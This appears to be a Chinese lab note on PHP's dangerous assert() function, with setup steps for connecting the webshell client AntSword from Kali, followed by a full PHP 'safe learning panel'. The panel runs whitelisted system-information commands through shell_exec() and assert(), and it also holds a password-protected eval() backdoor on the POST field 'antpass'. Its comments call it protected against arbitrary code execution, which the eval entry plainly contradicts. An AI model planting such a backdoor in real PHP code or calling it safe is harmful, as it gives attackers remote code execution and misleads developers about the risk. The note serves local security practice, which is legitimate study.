php危险函数,二.assert()[现版本已弃用]
本实验全部在本地电脑实现,请遵守相关法律
1.打开kali安装对应工具(蚁剑)然后新建
添加路径(记得在代码里配置准许kali通过,然后准许蚁剑访问
打开本地服务器,准许蚁剑访问
然后连接(记得看好kali的ip)
先测试连接,然后左上角保存
看情况是否需要代理
配置本地代理
2.打开工具测试代码运行情况,截取流量
3.抓包分析
4.两种方式(分析流量)
1直接给ai快但是泄露
2.慢慢自己分析
右侧
总代码
<?php
// ===================================================
// 🛡️ 安全的本地学习面板(仅限 127.0.0.1)
// 功能:通过 POST 方法提交指令,返回执行结果(表格形式)
// 特性:使用 assert() 模拟(仅用于演示),实际执行仍通过白名单控制
// 此代码实际运行代码shell_exec()!!!
// 目的:学习 POST 数据处理、表格输出、中文注释
// ⚠️ 仅限本地练习,禁止外网部署!
// ===================================================
// ✅ 1. 只允许本地访问
$allowed_ips = ['127.0.0.1', '192.168.1.7','192.168.1.5']; // 添加 Kali 的 IP
if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips)) {
die("❌ 错误:你的 IP (" . $_SERVER['REMOTE_ADDR'] . ") 不被允许访问。");
}
// ✅ 2. 定义安全命令白名单(所有可执行的命令)
$command_map = [
// 🖥️ 系统信息
'whoami' => ['cmd' => 'whoami', 'desc' => '显示当前用户账户名'],
'hostname' => ['cmd' => 'hostname', 'desc' => '显示本机计算机名称'],
'systeminfo' => ['cmd' => 'systeminfo', 'desc' => '显示系统详细信息'],
'ver' => ['cmd' => 'ver', 'desc' => '显示 Windows 版本'],
'set' => ['cmd' => 'set', 'desc' => '显示所有环境变量'],
'cpu' => ['cmd' => 'wmic cpu get name', 'desc' => '查看 CPU 型号'],
'memory' => ['cmd' => 'wmic memorychip get capacity', 'desc' => '查看内存容量'],
'disk' => ['cmd' => 'wmic diskdrive get model,size', 'desc' => '查看硬盘信息'],
'bios' => ['cmd' => 'wmic bios get serialnumber', 'desc' => '查看 BIOS 序列号'],
'model' => ['cmd' => 'wmic csproduct get name', 'desc' => '查看计算机型号'],
// 🌐 网络与端口
'ipconfig' => ['cmd' => 'ipconfig', 'desc' => '显示 IP 配置'],
'ip_all' => ['cmd' => 'ipconfig /all', 'desc' => '显示所有网络详情'],
'ping' => ['cmd' => 'ping www.baidu.com', 'desc' => '测试百度连通性'],
'netstat' => ['cmd' => 'netstat -an', 'desc' => '显示所有网络连接'],
'arp' => ['cmd' => 'arp -a', 'desc' => '显示 ARP 缓存表'],
// ⚙️ 进程与服务
'tasklist' => ['cmd' => 'tasklist', 'desc' => '列出所有运行进程'],
'services' => ['cmd' => 'net start', 'desc' => '显示已启动服务'],
];
// ✅ 3. 初始化结果数组
$result_data = [];
// ✅ 4. 检查是否为 POST 请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 🔥 新增:蚁剑连接入口(密码为 antpass)
if (isset($_POST['antpass'])) {
@eval($_POST['antpass']);
exit;
}
// 原有功能:安全命令执行
$action = trim($_POST['action'] ?? '');
// 🔍 检查 action 是否在白名单中
if (!empty($action) && isset($command_map[$action])) {
$cmd_info = $command_map[$action];
$full_cmd = $cmd_info['cmd'];
// 🧪 模拟使用 assert()(仅用于教学演示)
// ⚠️ 实际中绝不应这样用!这里只是为了满足你的“调用 assert”要求
// 真正执行仍使用 shell_exec(安全方式)
$code_to_assert = '$output = shell_exec("' . addslashes($full_cmd) . '");';
assert($code_to_assert); // 🔴 仅用于演示,生产环境绝对禁止!
// ✅ 安全执行命令(这才是实际执行方式)
$output = shell_exec($full_cmd);
// 📊 收集结果用于表格显示
$result_data[] = ['操作', $action];
$result_data[] = ['命令', $full_cmd];
$result_data[] = ['描述', $cmd_info['desc']];
$result_data[] = [
'输出',
'<pre style="background:#f4f4f4; padding:10px; border-radius:5px; max-height:300px; overflow-y:auto;">' .
htmlspecialchars($output) .
'</pre>'
];
} else {
$result_data[] = ['错误', '无效或不支持的操作:' . htmlspecialchars($action)];
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>📌 POST + assert() 学习面板(安全版)</title>
<style>
body {
font-family: "Microsoft YaHei", Arial, sans-serif;
margin: 20px;
background: #f8f9fa;
color: #333;
}
.container {
max-width: 1000px;
margin: 0 auto;
background: white;
padding: 25px;
border-radius: 10px;
box-shadow: 0 4px 15px rgba(0,0,0,0.1);
}
h2 {
color: #2c3e50;
border-bottom: 3px solid #3498db;
padding-bottom: 10px;
}
.form-group {
margin: 15px 0;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #555;
}
select, button {
padding: 10px;
font-size: 14px;
border: 1px solid #ccc;
border-radius: 5px;
}
select {
width: 300px;
}
button {
background: #e74c3c;
color: white;
border: none;
cursor: pointer;
margin-left: 10px;
}
button:hover {
background: #c0392b;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
box-shadow: 0 2px 8px rgba(0,0,0,0.05);
}
th, td {
border: 1px solid #ddd;
padding: 12px;
text-align: left;
}
th {
background-color: #3498db;
color: white;
width: 25%;
}
td {
background-color: #fcfdff;
}
pre {
margin: 0;
font-size: 14px;
}
.warning {
background: #f8d7da;
color: #721c24;
padding: 15px;
border: 1px solid #f5c6cb;
border-radius: 5px;
margin: 20px 0;
font-size: 14px;
}
.footer {
margin-top: 40px;
color: #666;
font-size: 12px;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h2>📌 POST 方法 + assert() 模拟学习面板</h2>
<div class="warning">
⚠️ <strong>安全警告:</strong>此页面仅用于本地学习!虽然使用了 assert() 演示,但实际执行仍受白名单保护,防止任意代码执行。
</div>
<!-- 📥 POST 表单 -->
<form method="POST">
<div class="form-group">
<label for="action">请选择要执行的命令:</label>
<select name="action" id="action">
<option value="">-- 请选择一个操作 --</option>
<?php foreach ($command_map as $key => $info): ?>
<option value="<?= $key ?>"><?= $key ?> - <?= $info['desc'] ?></option>
<?php endforeach; ?>
</select>
<button type="submit">▶️ 执行命令</button>
</div>
</form>
<!-- 📊 结果表格 -->
<?php if (!empty($result_data)): ?>
<h3>📋 执行结果</h3>
<table>
<thead>
<tr>
<th>项目</th>
<th>详情</th>
</tr>
</thead>
<tbody>
<?php foreach ($result_data as $row): ?>
<tr>
<td><strong><?= htmlspecialchars($row[0]) ?></strong></td>
<td><?= $row[1] ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<!-- 📚 教学说明 -->
<div class="footer">
🔍 <strong>教学说明:</strong><br>
1. 使用 <code>POST</code> 方法提交数据,更安全(不暴露在 URL)<br>
2. <code>assert()</code> 仅用于演示语法,实际执行仍通过白名单 + <code>shell_exec()</code><br>
3. 所有命令预先定义,防止任意代码执行(RCE)<br>
4. 输出使用表格展示,清晰明了<br>
5. 仅限本地练习,切勿外网部署!<br>
6. 新增蚁剑连接功能,密码为:<strong>antpass</strong>
</div>
</div>
</body>
</html>
根据需求可选